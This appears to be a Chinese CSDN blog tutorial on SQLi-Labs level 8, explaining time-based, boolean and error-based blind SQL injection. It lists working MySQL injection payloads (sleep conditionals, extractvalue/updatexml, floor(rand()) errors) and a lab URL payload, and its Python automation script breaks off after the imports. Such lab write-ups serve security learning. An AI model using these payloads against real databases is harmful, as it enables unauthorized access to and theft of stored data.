Sqlilabs-8

这篇博客介绍了SQL盲注的基本概念,包括基于时间、布尔和报错的三种类型,并详细阐述了每种类型的原理。接着,作者展示了通过Python脚本来实现SQL盲注的过程,包括猜表张数、表名长度、表名、列数、列名、数据行数和数据长度等步骤,以此解决SQLiLabs的第8关挑战。
摘要由CSDN通过智能技术生成

第 8 关来到了盲注
2ba96151faaefd3f36114b563613e6b.png
首先得介绍盲注相关知识:

什么是盲注?
盲注就是在 sql 注入过程中数据不能回显到前端页面。此时,我们就要猜,猜的过程就是盲注。

盲注的类型有哪些?

  1. 基于时间的盲注
  2. 基于布尔的盲注
  3. 基于报错的盲注

对三类盲注的详细说明

  1. 基于时间,怎么个基于时间?其实就是也有点布尔的意思,并且还需要结合布尔,如果我这样注入,猜测是对是错,由时间来做抉择,如果是对,延迟几秒再显示页面,如果是错,就正常显示页面。
  2. 基于布尔,怎么个基于布尔?其实跟时间很像,只不过做裁决的不再是时间,而是返回的数据本身,比如,我查ABC这一数据,问第一个字母的 ASCII 值是不是大于 100 ,如果正确,页面就会显示 you are in…,如果错误就什么都不显示。
  3. 基于报错,其实基于报错有点类似与第五第六关,通过一些函数特性报错得到需要的结果

各类盲注的详细运用

  1. 基于时间
    if 判断语句,如果条件为真,执行 sleep
    if(ascii(substr(database(),1,1))>115,sleep(5),0)%23

  2. 基于报错
    select count(*) from information_schema.tables group by concat((select database()),floor(rand()*2))
    这是由 5.6 关卡的payload简化而来的
    如果关键的表[information_schema.tables]被禁用了,可以使用:
    select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand()*2))
    如果rand被禁用了,可以使用用户变量来报错:
    select min(@a:=1) from information_schema.tables group by concat(password,@a:(@a+1)%2)

还可以利用double数值类型超出范围,exp() 为以 e 为底的对数函数,mysql 版本需为 5.5.5 及其以上select exp(~(select * from(select user())a))`

利用 mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e),1)

  1. 基于布尔
    database():显示数据库名称 left(a,b) 从左侧截取 a 的前 b 位
    left(database(),1)>'s'
    substr(a,b,c):从 b 位置开始截取 a 字符串的 c 长度,ascii():将某个字符串转化为 ascii 值
    ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
    ord():同substr(),mid():同ascii()
    ORD(MID((select IFNULL(CAST(usernames as char),0x20)from security.users order by id limit 0,1),1,1))>98%23
    利用 mysql 重复特性,此处重复了 version(),所以报错
    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x
    !!!
    一些常用的ascii值:A:65, Z:90, a:97, z:122, 0:48, 9:57
    !!!
    下面开始进入关卡:
    界面显示要你构造 ID,构造后只显示 You are in… 并不回显内容,所以只能盲注:
    http://sqlilabs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>96,1,0)--+
    14a9a8870b8f6e79db5f85fbca46eb8.png
    …由于盲注太过繁琐,我们可以编写脚本来实现盲注:
    实现了基本功能

    import requests
    import sys
    import time

    quote_one = 0
    quote_double = 0
    twist = 0
    table_numb

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值